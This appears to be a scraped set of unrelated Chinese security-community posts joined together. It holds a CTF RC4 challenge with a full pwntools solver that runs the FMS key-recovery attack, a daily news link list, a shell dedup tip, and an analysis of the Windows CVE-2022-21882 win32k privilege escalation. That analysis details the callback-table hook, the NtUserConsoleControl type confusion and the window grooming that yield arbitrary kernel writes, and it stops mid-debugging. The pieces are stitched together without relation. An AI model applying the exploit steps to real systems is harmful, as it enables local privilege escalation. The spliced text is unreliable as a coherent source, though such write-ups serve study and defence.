FLAG = "flag{XXXXXX}"
KEY = os.urandom(9)
def enhex(s):
return binascii.hexlify(s.strip()).decode()
def unhex(s):
return binascii.unhexlify(s.strip())
def echo(msg):
sys.stdout.write(msg)
sys.stdout.flush()
class PRNG:
def __init__(self):
self.state = [i for i in range(256)]
self.i = 0
self.j = 0
def __swap_state(self, a, b):
self.state[a], self.state[b] = self.state[b], self.state[a]
def ksa(self, key):
j = 0
for i in range(256):
j = (j + self.state[i] + key[i % len(key)]) % 256
self.__swap_state(i, j)
def prng(self):
self.i = (self.i + 1) % 256
self.j = (self.j + self.state[self.i]) % 256
self.__swap_state(self.i, self.j)
return self.state[(self.state[self.i] + self.state[self.j]) % 256]
def do_typing():
echo("iv > ")
iv = unhex(input())
if len(iv) != 3:
echo("ERROR: The length of IV must be 3.\n")
return
prng = PRNG()
prng.ksa(iv + KEY)
plaintext = b"The Big Monkey is now typing...:" + os.urandom(128)
ciphertext = b''
for i in range(len(plaintext)):
ciphertext += bytes([plaintext[i] ^ prng.prng()])
echo("Tac, tac, tac... The monkey is typing: " + enhex(ciphertext) + "\n")
def do_pay_flag():
echo("iv > ")
iv = unhex(input())
if len(iv) != 3:
echo("The length of IV must be 3.\n")
return
echo("input > ")
ciphertext = unhex(input())
prng = PRNG()
prng.ksa(iv + KEY)
plaintext = b''
for i in range(len(ciphertext)):
plaintext += bytes([ciphertext[i] ^ prng.prng()])
if b"There is nothing either good or bad, but thinking makes it so." in plaintext:
echo("The infinite monkey theorem is true. " + FLAG + "\n")
echo("Done.\n")
def main():
echo("""\
__,__
.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \\
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' / T H E I N F I N I T E M O N K E Y G A M E
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _ _./ |'--.
/` \ \.-. / / `\\ 0> Start typing
/ '._/ |-' _.' \\
/ ; /--~' | \\ 1> Pay flag
/ .'\|.-\--. \ \\
/ .'-. /.-.;\ |\|'~'-.|\ \\ 2> Exit
\ `-./`|_\_/ ` `\\'. \\
'. ; ___) '.`; /
'-.,_ ; ___) \/ /
\ ``'------'\ \ ` /
'. \ '. | ;/_
jgs ___> '. \_ _ _/ , '--.
.' '. .-~~~~~-. / |--'`~~-. \\
// / .---'/ .-~~-._/ / / /---..__.' /
((_(_/ / / (_(_(_(---.__ .'
| | _ `~~`
| | \\'.
\ '....' |
'.,___.'
\n""")
while True:
print("key:",KEY.hex())
echo("\nInput your choice> ")
choice = input()
if not choice.strip():
continue
choice = int(choice)
if choice == 0:
do_typing()
elif choice == 1:
do_pay_flag()
elif choice == 2:
break
else:
echo("Unknown choice\n")
continue
try:
main()
except KeyboardInterrupt:
pass
except Exception as err:
print("*** Exception:", err, "***")
该挑战首先会在每次连接的时候生成一个随机的`key`，然后提供了两个功能，`do_typing`和`do_pay_flag`
在`do_typing`中，我们可以提供任意的长度为3的iv，它会使用`iv+key`来进行RC4的密钥调度算法，并且使用RC4的伪随机子密码生成算法来加密一段前32个字节是已知的明文并返回加密后的密文
在`do_pay_flag`中，我们可以提供任意的长度为3的iv和一段密文，它也和选项`do_typing`一样使用相同的方法来进行RC4算法的使用，并解密我们所提供的密文，如果密文中有指定的明文段则会得到`flag`
这个场景就是我们上面所提到的FMS攻击的场景，那么按照上面的描述进行攻击即可：
#!/usr/bin/env python
from pwn import *
from tqdm import tqdm
from Crypto.Util.number import *
#context.log_level = "debug"
plain = b"There is nothing either good or bad, but thinking makes it so."
key_length = 9
# Helper function, which swaps two values in the box.
def swapValueByIndex(box, i, j):
temp = box[i]
box[i] = box[j]
box[j] = temp
# Initialize S-box.
def initSBox(box):
if len(box) == 0:
for i in range(256):
box.append(i)
else:
for i in range(256):
box[i] = i
# Key schedule Algorithm (KSA) for key whose value is in unicode.
def ksa(key, box):
j = 0
for i in range(256):
j = (j + box[i] + ord(key[i % len(key)])) % 256
swapValueByIndex(box, i, j)
class PRNG:
def __init__(self):
self.state = [i for i in range(256)]
self.i = 0
self.j = 0
def __swap_state(self, a, b):
self.state[a], self.state[b] = self.state[b], self.state[a]
def ksa(self, key):
j = 0
for i in range(256):
j = (j + self.state[i] + key[i % len(key)]) % 256
self.__swap_state(i, j)
def prng(self):
self.i = (self.i + 1) % 256
self.j = (self.j + self.state[self.i]) % 256
self.__swap_state(self.i, self.j)
return self.state[(self.state[self.i] + self.state[self.j]) % 256]
def cmd(idx):
r.sendlineafter("Input your choice> ",str(idx))
def typing(iv):
cmd(0)
r.sendlineafter("iv > ",iv)
r.recvuntil("Tac, tac, tac... The monkey is typing: ")
result = int(r.recvuntil("\n",drop = True),16)
result = long_to_bytes(result)
return result
def getflag(iv,cipher):
cmd(1)
r.sendlineafter("iv > ",iv)
r.sendlineafter("input > ",cipher)
r.recvuntil("The infinite monkey theorem is true. ")
flag = r.recvuntil("\n",drop = True, timeout = 2)
return flag
r = process(argv=["python3", "chall.py"])
iv = [0,255,0]
rows = []
for A in tqdm(range(key_length)):
iv[0] = A + 3
for thirdByte in range(256):
iv[2] = thirdByte
cipherByte = typing(bytes(iv).hex())[0]
rows.append([iv[0],iv[1],iv[2],cipherByte])
box = []
plainKnown = "54"
key = [None] * 3
for A in range(key_length):
prob = [0] * 256
for row in rows:
key[0] = int(row[0])
key[1] = int(row[1])
key[2] = int(row[2])
j = 0
initSBox(box)
for i in range(A + 3):
j = (j + box[i] + key[i]) % 256
swapValueByIndex(box, i, j)
if i == 1:
original0 = box[0]
original1 = box[1]
i = A + 3
z = box[1]
if z + box[z] == A + 3:
if (original0 != box[0] or original1 != box[1]):
continue
keyStreamByte = int(row[3]) ^ int(plainKnown, 16)
keyByte = (keyStreamByte - j - box[i]) % 256
prob[keyByte] += 1
higherPossibility = prob.index(max(prob))
key.append(higherPossibility)
userInput = key[3:]
result = [format(key, 'x') for key in userInput]
rawkey = ''.join(result)
rawkey = rawkey.ljust(18,"0")
print(rawkey)
iv = "777777"
key = long_to_bytes(int(iv + rawkey,16))
prng = PRNG()
prng.ksa(key)
cipher = b''
for i in range(len(plain)):
cipher += bytes([plain[i] ^ prng.prng()])
cipher = cipher.hex()
flag = getflag(iv,cipher)
print(flag)
r.close()
## Reference
<https://en.wikipedia.org/wiki/RC4>
<https://en.wikipedia.org/wiki/Wired_Equivalent_Privacy>
<https://link.springer.com/content/pdf/10.1007%2F3-540-45537-X_1.pdf>
<https://github.com/jackieden26/FMS-Attack> | 社区文章 |
# 【知识】11月6日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：NIC亚洲银行也成为SWIFT事件的受害者、 **黑客以学生信息勒索加拿大大学** 、IEEE
P1735电子标准中的设计缺陷、命名管道安全前缀分析、通过扰乱TCB来抵御TCP重置攻击、攻击Ruby on Rails应用从入门到精通。**
**资讯类：**
NIC亚洲银行也成为SWIFT事件的受害者
<http://securityaffairs.co/wordpress/65204/cyber-crime/nic-asia-bank-swift-hack.html>
Savitech音频驱动安装根证书
<http://www.securityweek.com/savitech-audio-drivers-caught-installing-root-certificate>
黑客以学生信息勒索加拿大大学
<http://securityaffairs.co/wordpress/65177/cyber-crime/canadian-university-extortion.html>
IEEE P1735电子标准中的设计缺陷
<http://securityaffairs.co/wordpress/65184/hacking/ieee-p1735-electronics-standard-flaws.html>
**技术类：**
如何开发构建一个Winning System
<https://chrisbolman.com/strategy-develop-effective-framework/>
你的网站安全吗——当前网站安全状况总览
<https://sucuri.net/infographics/agency-protected>
命名管道安全前缀分析
<https://tyranidslair.blogspot.co.uk/2017/11/named-pipe-secure-prefixes.html>
通过扰乱TCB来抵御TCP重置攻击
<https://github.com/seclab-ucr/INTANG>
使用X64DBG分析程序无法初始化的原因
<https://x64dbg.com/blog/2017/11/04/the-big-handle-gamble.html>
攻击Ruby on Rails应用从入门到精通
<http://phrack.org/issues/69/12.html>
Golang中的噪声快速实现
<http://www.cryptologie.net/article/427/noise-plug-and-play-implementation-in-golang/>
Blockchain.info中的CRLF注入
<http://blog.shashank.co/2017/11/crlf-injection-in-bockchaininfo.html>
WordPress插件ImageManager文件上传漏洞
<https://cxsecurity.com/issue/WLB-2017110031>
Nmap扫描实践：原理解析与参数配置
<http://www.kalitut.com/2017/11/nmap-scan-systems-for-open-ports.html>
Node与Postgres代码注入漏洞分析
<https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.htm>
数据结构——你所需要的一切
<https://medium.freecodecamp.org/all-you-need-to-know-about-tree-data-structures-bceacb85490c> | 社区文章 |
cat file1.txt file2.txt fileN.txt > allfile.txt
sort allfile.txt | uniq >newfile.txt
效果不错，测试了一下2500w数据，2分钟不到就去重并排序完毕。 | 社区文章 |
**作者：天融信阿尔法实验室
原文链接：<https://mp.weixin.qq.com/s/0aDmaEMXae1_tJXFZVdi6Q>**
CVE-2022-21882漏洞是Windows系统的一个本地提权漏洞，微软在2022年1月份安全更新中修补此漏洞。本文章对漏洞成因及利用程序进行了详细的分析。
## 1.漏洞介绍
CVE-2022-21882是对CVE-2021-1732漏洞的绕过，属于win32k驱动程序中的一个类型混淆漏洞。
攻击者可以在user_mode调用相关的GUI
API进行内核调用，如xxxMenuWindowProc、xxxSBWndProc、xxxSwitchWndProc、xxxTooltipWndProc等，这些内核函数会触发回调xxxClientAllocWindowClassExtraBytes。攻击者可以通过hook
KernelCallbackTable 中 xxxClientAllocWindowClassExtraBytes 拦截该回调，并使用
NtUserConsoleControl 方法设置 tagWNDK 对象的 ConsoleWindow 标志，从而修改窗口类型。
最终回调后，系统不检查窗口类型是否发生变化，由于类型混淆而引用了错误的数据。flag修改前后的区别在于，在设置flag之前，系统认为tagWNDK.pExtraBytes保存了一个user_mode指针；flag设置后，系统认为tagWNDK.pExtraBytes是内核桌面堆的偏移量，攻击者可以控制这个偏移量，从而导致越界R&W。
本篇文章分析了漏洞成因及漏洞利用手法分析，侧重动态调试及利用手法分析。
## 2.漏洞影响版本
Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 11 for ARM64-based Systems
Windows 11 for x64-based Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows 10 Version 21H1 for 32-bit Systems
## 3.分析环境
Windows 10 21H2 19044.1415 x64
Vmware 16.2.1
VirtualKD-Redux 2020.4.0.0
Windbg 10.0.22000.194
## 4.背景知识
本节内容描述了创建窗口时需要用到的结构体及函数：
1. 用户态的窗口数据结构体：WNDCLASSEXW，需要关注cbWndExtra。
2. 窗口数据保存在内核态时使用：tagWND和tagWNDK结构体，需要关注tagWNDK。
3. 用户态调用SetWindowLong可以设置窗口扩展内存数据，逆向分析SetWindowLong如何设置窗口扩展内存数据。
窗口类拥有如下属性结构，此处仅列出比较重要的结构：
typedef struct tagWNDCLASSEXW {
UINT cbSize; //结构体的大小
…
UINT style; //窗口的风格
WNDPROC lpfnWndProc; //处理窗口消息的回调函数地址
int cbClsExtra; //属于此类窗口所有实例共同占用的内存大小
int cbWndExtra; //窗口实例扩展内存大小 LPCWSTR lpszClassName; //类名
…
} WNDCLASSEXW
在用户态创建窗口时，需要调用RegisterClass注册窗口类，每个窗口类有自己的名字，调用CreateWindow创建窗口时传入类的名字，即可创建对应的窗口实例。当cbWndExtra不为0时，系统会申请一段对应大小的空间，如果回调到用户态申请空间时，可能会触发漏洞。内核中使用两个结构体来保存窗口数据tagWND和tagWNDK：
ptagWND //内核中调用ValidateHwnd传入用户态窗口句柄可返回此数据指针
0x18 unknown
0x80 kernel desktop heap base //内核桌面堆基址
0x28 ptagWNDk // 需要重点关注这个结构体，结构体在下方：
0xA8 spMenu
tagWNDK结构体，需要重点关注此结构体：
struct tagWNDK
{
ULONG64 hWnd; //+0x00
ULONG64 OffsetToDesktopHeap;//+0x08 tagWNDK相对桌面堆基址偏移
ULONG64 state; //+0x10
DWORD dwExStyle; //+0x18
DWORD dwStyle; //+0x1C
BYTE gap[0x38];
DWORD rectBar_Left; //0x58
DWORD rectBar_Top; //0x5C
BYTE gap1[0x68];
ULONG64 cbWndExtra; //+0xC8 窗口扩展内存的大小 BYTE gap2[0x18];
DWORD dwExtraFlag; //+0xE8 决定SetWindowLong寻址模式
BYTE gap3[0x10]; //+0xEC
DWORD cbWndServerExtra; //+0xFC
BYTE gap5[0x28];
ULONG64 pExtraBytes; //+0x128 模式1：内核偏移量 模式2：用户态指针
};
当WNDCLASSEXW
中的cbWndExtra值不为0时，创建窗口时内核会回调到用户态函数USER32!_xxxClientAllocWindowClassExtraBytes申请一块cbWndExtra大小的内存区域，并且将返回地址保存在tagWNDK结构体的pExtraBytes变量中。
使用函数SetWindowLong和GetWindowLong，可对窗口扩展内存进行读写，进入内核后调用堆栈如下：
win32kfull!xxxSetWindowLong
win32kfull!NtUserSetWindowLong+0xc7
win32k!NtUserSetWindowLong+0x16
nt!KiSystemServiceCopyEnd+0x25
win32u!NtUserSetWindowLong+0x14
USER32!_SetWindowLong+0x6e
CVE_2022_21882!wmain+0x25d
SetWindowLong函数形式如下：
第二个参数为index，含义为设置扩展内存偏移index处的内容。在win32kfull!xxxSetWindowLong函数中，会对第二个参数index进行判断，防止越界：
137行代码判断index+4如果大于cbWndServerExtra+
cbWndExtra，表明越界，一般情况下cbWndServerExtra为0，如果越界，会跳转到117行LABEL_34，设置v18为1413，跳转到LABEL_55，调用UserSetLastError设置错误值，我们可以在cmd下查看此错误值的含义：
如果没有越界的话，接下来会根据不同的模式来使用pExtraBytes，如下：
在xxxSetWindowLong函数中：
正常情况下cbWndServerExtra为0，157行如果index+4<
cbWndServerExtra，那么修改的是窗口的保留属性，例如GWL_WNDPROC对应-4，含义为设置窗口的回调函数地址。我们需要设置的是窗口扩展内存，所以进入165行的代码区域。
在167行会判断dwExtraFlag属性是否包含0x800，如果包含，那么168行代码destAddress=pExtraBytes+index+内核桌面堆基址，此处pExtraBytes作为相对内核桌面堆基址的相对偏移量，
_(QWORD_ )(pTagWnd->field_18+128)为内核桌面堆基地址
，对应的汇编代码为
在171行处，dwExtraFlag属性不包含0x800，此时destAddress=index+pExtraBytes，此处pExtraBytes作为用户态申请的一块内存区域地址。
dwExtraFlag的含义：
dwExtraFlag&0x800 !=
0时，代表当前窗口是控制台窗口。调用AllocConsole申请控制台窗口时，调用程序会与conhost程序通信，conhost去创建控制台窗口，调用栈如下：
conhost获取到窗口句柄后，调用NtUserConsoleControl修改窗口为控制台类型，堆栈如下：
dwExtraFlag&0x800 ==0时，代表当前窗口是GUI窗口，调用CreateWindow时窗口就是GUI窗口。
> 总结：
>
> 1. xxxSetWindowLong设置扩展内存数据时，有如下两种模式：
> 模式1：tagWND的dwExtraFlag属性包含0x800，使用间接寻址模式，基址为内核桌面堆基地址，pExtraBytes作为偏移量去读写内存。
> 模式2：tagWND的dwExtraFlag属性不包含0x800，使用直接寻址模式，pExtraBytes直接读写内存。
> 2. xxxSetWindowLong会检查index，如果index+4超过cbWndExtra，那么返回索引越界错误。
>
## 5.漏洞成因
此漏洞是对CVE-2021-1732漏洞的绕过，此处简要介绍下CVE-2021-1732漏洞：
用户调用CreateWindow时，在对应的内核态函数中检查到窗口的cbWndExtra不为0，通过xxxCreateWindowEx->
xxxClientAllocWindowClassExtraBytes->调用回调表第123项用户态函数申请用户态空间，
1027行会调用USER32!_xxxClientAllocWindowClassExtraBytes，EXP在回调函数中调用NtUserConsoleControl修改窗口的dwExtraFlag和pExtraBytes，修改窗口类型为控制台。
Windows修复代码在1039行，检查pExtraBytes是否被修改，此处查看汇编代码更为清晰
rdi+0x140-0x118 =
rdi+0x28，得到tagWNDK，偏移0x128得到pExtraBytes，判断是否不等于0，如果不等于0，1045行代码会跳转，最终释放窗口，漏洞利用失败。
也就是说：CVE-2021-1732的修复方法是在调用xxxClientAllocWindowClassExtraBytes函数后，在父函数CreateWindowEx中判断漏洞是否被利用了，这个修补方法之前是没有问题的。
但是在后续代码更新后，有了新的路径来触发xxxClientAllocWindowClassExtraBytes函数：
在xxxSwitchWndProc函数中调用xxxClientAllocWindowClassExtraBytes后也有检查pExtraBytes是否为0，如果不为0，那么就复制pExtraBytes内存数据到新申请的内存地址中，没有检查dwExtraFlag是否被修改。
> 总结：
> 由于CVE-2021-1732漏洞修补时是在父函数中修复的，虽然当时没有问题，但是当多了xxxClientAllocWindowClassExtraBytes函数的触发路径后，同样的漏洞又存在了，而且
> CVE-2021-1732漏洞触发路径是在xxxCreateWindowEx中，此时窗口句柄还未返回给用户态，漏洞利用时需要更多的技巧，此漏洞利用时已经返回了窗口句柄，利用起来更加简单。
## 6.利用漏洞的流程
本节介绍了漏洞触发的流程，并介绍了触发漏洞及利用漏洞需要的各个知识点。
漏洞触发利用的流程：
要利用这个漏洞，需要以下背景知识：
### 6.1 触发用户态回调
本节描述如何触发用户态回调，使内核回调到USER32!_xxxClientAllocWindowClassExtraBytes。
在IDA中查看xxxClientAllocWindowClassExtraBytes的引用，有多处地方调用到了此函数，
查看xxxSwitchWndProc代码如下：
98行代码有cbWndServerExtra变量赋值，而在调用SetWindowLong时会使用index-cbWndServerExtra，所以我们真正想设置内存区域偏移index位置的变量时，参数2应该传入index+ cbWndServerExtra。
103行代码调用xxxClientAllocWindowClassExtraBytes返回值赋值给了v20变量。
111行代码检查原来的pExtraBytes是否为0，如果不为0，那么就复制内存的数据，还会释放原来的pExtraBytes。
117、123行代码都会将v20变量赋值给pExtraBytes。
而xxxSwitchWndProc函数是可以通过win32u!
NtUserMessageCall函数来触发的，在用户态调用NtUserMessageCall函数会触发内核态函数xxxClientAllocWindowClassExtraBytes，函数调用堆栈如下：
win32kfull!xxxClientAllocWindowClassExtraBytes
win32kfull!xxxSwitchWndProc+0x167
win32kfull!xxxWrapSwitchWndProc+0x3c
win32kfull!NtUserfnINLPCREATESTRUCT+0x1c4
win32kfull!NtUserMessageCall+0x11d 内核态
…
win32u! NtUserMessageCall 用户态
在内核态的win32kfull!xxxClientAllocWindowClassExtraBytes函数中，会调用用户态的xxxClientAllocWindowClassExtraBytes函数。win32kfull!xxxClientAllocWindowClassExtraBytes函数如下：
KernelCallbackTable第123项对应_xxxClientAllocWindowClassExtraBytes函数，使用IDA查看函数内容：
此函数中调用RtlAllocateHeap函数来申请
_(a1)大小的内存，内存地址保存在addr变量中，然后调用NtCallbackReturn函数返回到内核态，返回的数据为addr变量的地址，对应在上面win32kfull!xxxClientAllocWindowClassExtraBytes函数中的v7变量，v7为addr变量的地址,_
v7即为上图中的addr。
> 总结：
> 触发回调函数的路径为：
> Win32u!NtUserMessageCall(用户态)->win32kfull!NtUserMessageCall(内核态)->
> win32kfull!xxxSwitchWndProc(内核态)->
> win32kfull!xxxClientAllocWindowClassExtraBytes(内核态)->
> nt!KeUserModeCallback(内核态)->
> USER32!_xxxClientAllocWindowClassExtraBytes(用户态，HOOK此函数)
> 本节讲了如何从用户态进入到内核，又回调到USER32!_xxxClientAllocWindowClassExtraBytes函数的方法。
### 6.2 HOOK回调函数
上一小节讲了触发到USER32!_xxxClientAllocWindowClassExtraBytes函数的流程，我们还需要hook此回调函数，在回调函数中触发漏洞。下面代码可以将回调函数表项第123、124分别修改为MyxxxClientAllocWindowClassExtraBytes、MyxxxClientFreeWindowClassExtraBytes。
### 6.3 修改窗口模式为模式1
上一小节讲了如何进入到用户态自定义的函数，本节讲述在自定义的函数中通过用户态未公开函数NtUserConsoleControl修改窗口模式为模式1，本节对NtUserConsoleControl函数进行逆向分析。
函数win32u!
NtUserConsoleControl可以设置模式为内核桌面堆相对寻址模式，此函数有三个参数，第一个参数为功能号，第二个参数为一个结构体的地址，结构体内存中第一个QWORD为窗口句柄，第三个参数为结构体的大小。
NtUserConsoleControl函数会调用到内核态win32kfull模块的NtUserConsoleControl函数，调用堆栈如下：
win32kfull!NtUserConsoleControl 内核态
win32k!NtUserConsoleControl+0x16 内核态
nt!KiSystemServiceCopyEnd+0x25
win32u!NtUserConsoleControl+0x14 用户态
CVE_2022_21882!wmain+0x3f4 用户态
win32kfull模块NtUserConsoleControl判断参数，然后调用xxxConsoleControl如下：
17行判断参数index不大于6
22行判断参数length小于0x18
26行判断参数2指针不为空且length不为0
以上条件满足时会调用xxxConsoleControl函数，传入参数为index、变量的地址，传入数据的长度，
xxxConsoleControl函数会对index及len进行判断：
110行代码可知，index必须为6，113行代码可知len必须为0x10，115行到119行代码可知，传入参数地址指向的第一个QWORD数据必须为一个合法的窗口句柄，否则此函数会返回。
134、136行判断是否包含0x800属性，如果包含，v23赋值为内核桌面堆基地址+偏移量pExtraBytes，得到的v23为内核地址。
140行代码，如果不包含0x800属性，那么调用DesktopAlloc申请一段cbWndExtra大小的内存保存在v23中。
149到156行代码判断原来的pExtraBytes指针不为空，就拷贝数据到刚申请的内存中，并调用xxxClientFreeWindowClassExtraBytes->USER32!_xxxClientFreeWindowClassExtraBy释放内存。
159、160行代码使用内核地址v23减去内核桌面堆基址得到偏移量v21，将v21赋值给pExtraBytes变量。
使用如下代码可以修改窗口模式为模式1：
ULONG64 buff[2]={hwnd}；
NtUserConsoleControl(6, &buff, sizeof(buff));即可将hwnd对应的窗口模式设置为模式1。
> 总结：
> 在自定义回调函数中调用win32u!NtUserConsoleControl可以设置窗口模式为模式1，传入参数需要符合下列要求：
>
> 1. 参数1 index必须为6
> 2. 参数2指向一段缓冲区，缓冲区第一个QWORD必须为一个合法的窗口句柄
> 3. 参数3 len必须为0x10
>
### 6.4 回调返回伪造偏移量
在_xxxClientAllocWindowClassExtraBytes
函数中调用NtCallBackReturn回调函数可以返回到内核态：
伪造一个合适的偏移量Offset，然后应该取Offset地址传给NtCallbackReturn函数，可以将offset赋值给pExtraBytes变量。
由于之前已经切换窗口为模式1，pExtraBytes含义为相对于内核桌面堆基址的偏移，再查看tagWNDK结构体，关注以下字段：
+0x08 ULONG64 OffsetToDesktopHeap; //窗口tagWNDK相对桌面堆基址偏移
+0xE8 DWORD dwExtraFlag; //包含0x800即为模式1
+0x128 ULONG64 pExtraBytes; //模式1：内核桌面堆偏移量 模式2：用户态指针
OffsetToDesktopHeap为窗口本身地址tagWNDK相对于内核桌面堆基址的偏移，可以使用如下方法来伪造合适的偏移量：
1. 创建多个窗口，如窗口0和窗口2(为了与EXP匹配)，窗口2触发回调函数，返回窗口0的OffsetToDesktopHeap ，赋值给窗口2的pExtraBytes变量。
2. 对窗口2调用SetWindowLong时，写入的目标地址为：内核桌面堆基址+pExtraBytes+index，此时pExtraBytes为窗口0的地址偏移，对窗口2调用SetWindowLong可以写窗口0的tagWNDK结构数据，这是第一次越界写。
> 总结：
>
> 调用NtCallbackReturn可以返回到内核中，伪造偏移量为窗口0的OffsetToDesktopHeap，赋值给窗口2的pExtraBytes，当对窗口2调用SetWindowLong时即可修改到窗口0的tagWNDK结构体。
> 接下来我们需要获取窗口0的OffsetToDesktopHeap。
### 6.5 泄露内核窗口数据结构
上一小节中我们在用户态中要返回窗口0的OffsetToDesktopHeap到内核态，OffsetToDesktopHeap是内核态的数据，要想获取这个数据还需要一些工作。
调用CreateWindow只能返回一个窗口句柄，用户态无法直接看到内核数据，但是系统把tagWNDK的数据在用户态映射了一份只读数据，只需要调用函数HMValidateHandle即可，动态库中没有导出此函数，需要通过IsMenu函数来定位：
定位USER32!HMValidateHandle的代码如下：
定位到USER32!HMValidateHandle函数地址后，传入hwnd即可获取tagWNDK数据地址。
tagWNDK* p = HMValidateHandle(hwnd)，通过tagWNDK指针即可获取到OffsetToDesktopHeap数据。
### 6.6 如何布局内存
通过上面的知识，我们可以通过窗口2修改窗口0的tagWNDK结构体数据，本节描述如何布局内存，构造写原语。
应该通过NtUserConsoleControl修改窗口0切换到模式1，这样对窗口0调用SetWindowLong即可修改内核数据，但是调用SetWindowLong时index有范围限制，所以通过窗口2将窗口0的tagWNDK.
cbWndExtra修改为0xFFFFFFFF，扩大窗口0可读写的范围。
现在我们开始内存布局：
1.创建窗口0，窗口0切换到模式1，pExtraBytes为扩展内存相对内核桌面堆基址的偏移量
窗口2触发回调后，回调函数中对窗口2调用NtUserConsoleControl，所以窗口2也处于模式1，pExtraBytes为扩展内存相对内核桌面堆基址的偏移量。
2.回调函数中返回窗口0的OffsetToDesktopHeap，此时内存如下：
图中红色线条，此时窗口2的pExtraBytes为窗口0的OffsetToDesktopHeap，指向了窗口0的结构体地址，此时对窗口2调用SetWindowLong即可修改窗口0的内核数据结构
3.通过窗口2修改窗口0的cbWndExtra
SetWindowsLong(窗口2句柄,
0xC8(此处还有一个偏移量)，0xFFFFFFFF)，即可修改窗口0的cbWndExtra为极大值，且此时窗口0处于模式1，如果传入一个较大的index且不大于0xFFFFFFFF，那么就可以越界修改到内存处于高地址处的其他窗口的数据。
4.再次创建一个窗口1，窗口1处于模式2，不用修改模式
窗口1刚开始pExtraBytes指向用户态地址，使用模式2直接寻址。由于窗口0的pExtraBytes是相对于内核桌面堆基址的偏移量，窗口1的OffsetToDeskTopHeap是当前tagWNDK结构体与内核桌面堆基址的偏移量，所以这两个值可以计算一个差值，对窗口0调用SetWindowLong时传入这个差值即可写入到窗口1的结构体，再加上pExtraBytes相对于tagWNDK结构体的偏移即可设置窗口1的pExtraBytes为任意值。
5.由于此时窗口1处于模式1直接寻址，且我们可以设置窗口1扩展内存地址pExtraBytes为任意地址，所以对窗口1调用SetWindowLong即可向任意内核地址写入数据。
> 总结：
>
> 内存布局的关键在于窗口0的pExtraBytes必须小于窗口1和窗口2的OffsetToDesktopHeap，这样的话在绕过了窗口0的cbWndExtra过小的限制后，对窗口0调用SetWindowLong传入的第二个参数，传入一个较大值，即可向后越界写入到窗口1和窗口2的tagWNDK结构体。
>
> 我们来设想一下不满足内存布局的情况，假如窗口1的OffsetToDesktopHeap小于窗口0的pExtraBytes，即窗口1的tagWNDK位于低地址，窗口0的扩展内存位于高地址，那从窗口0越界往低地址写内容时，SetWindowLong的index必须传入一个64位的负数，但是SetWindowLong的第二个参数index是一个32位的值，调用函数时64位截断为32位数据，在内核中扩展到64位后高位为0还是个正数，所以窗口0无法越界写到低地址。
## 7.EXP分析调试
首先动态定位多个函数地址，接下来需要调用
创建窗口类：
#define MAGIC_CB_WND_EXTRA 0x1337
调用函数RegisterClassEx创建两个窗口类：
类名为NormalClass的窗口，窗口的cbWndExtra大小为0x20。
类名为MagicClass的窗口，窗口的cbWndExtra大小为0x1337，使用MagicClass类创建的窗口会利用漏洞构造一个内核相对偏移量。
内存布局的代码如下：
第241行到244行，创建了菜单，之后创建窗口使用此菜单。
第245行到250行，使用NormalClass类名创建了50个窗口存放在g_hWnd数组中，然后销毁后面的48个窗口，这样是为了后面创建窗口时可以占用被销毁窗口的区域，缩短窗口之间的间距，此时g_hWnd[0]和g_hWnd[1]存放句柄，将这两个窗口称为窗口0和窗口1，其中247行调用HMValidateHandle函数传入句柄得到对应窗口在用户态映射的tagWNDK数据内存地址保存在g_pWndK数组中。
第245行到255行，调用NtUserConsoleControl函数设置窗口0由用户态直接寻址切换为内核态相对偏移寻址，并且窗口0的pExtraBytes是相对于内核桌面堆基址的偏移。
第257行到258行，使用MagicClass类名创建窗口2保存在g_hWnd[2]中，称为窗口2，然后调用HMValidateHandle获得窗口2的tagWNDK数据映射地址保存在g_pWndK[2]中。
第260和278行代码判断内存布局是否成功，此时窗口0处于内核模式，所以窗口0的pExtraBytes为申请的内核内存空间(不是窗口内核对象地址)相对于内核桌面堆基地址的偏移，窗口1和窗口2为用户态模式，OffsetToDesktopHeap为窗口内核对象地址相对于内核桌面堆基地址的偏移，内存布局必须满足：
窗口0的pExtraBytes小于窗口1的OffsetToDesktopHeap,计算差值extra_to_wnd1_offset，为正数。
窗口0的pExtraBytes小于窗口2的OffsetToDesktopHeap，计算差值extra_to_wnd2_offset，为正数。
如果布局失败，那就销毁窗口继续布局，如果最后一次布局失败，就退出。
布局完成后，程序运行到此处：
程序在虚拟机中运行到DebugBreak()函数时，如果有内核调试器，调试器会自动中断：
此时指令位于DebugBreak函数中，输入k，栈回溯只显示了地址，没有显示符号表，输入
gu;.reload /user
.reload /user会自动加载用户态符号，pdb文件位于本地对应目录，再次输入k，显示栈回溯，可以看到显示正常。我们先查看三个窗口的内核数据结构
使用命令 dt tagWNDK
poi(CVE_2022_21882!g_pWndK+0)可以以结构体方式查看窗口0的tagWNDK结构，在内存布局时已经对窗口0切换了模式，如下：
上图第三个窗口应为窗口2，在调用NtUserMessageCall之前，窗口0处于模式1，窗口1和2处于模式2。接下来调用HookUserModeCallBack
来Hook回调函数，代码如下：
动态调试时查看KernelCallbackTable表：
kd> !peb
PEB at 0000001eb0c75000
kd> dt ntdll!_PEB KernelCallbackTable 0000001eb0c75000
+0x058 KernelCallbackTable : 0x00007ffe`bc6f2070 Void
查看KernelCallbackTable表项
我们需要查看123项的内容，如下：
调试运行HookUserModeCallBack函数后，再次查看：
在自定义的回调函数MyxxxClientAllocWindowClassExtraBytes中
接着下断点：
并且在MyxxxClientAllocWindowClassExtraBytes函数中下断点：
在调试器中输入g运行，现在运行到如下位置：
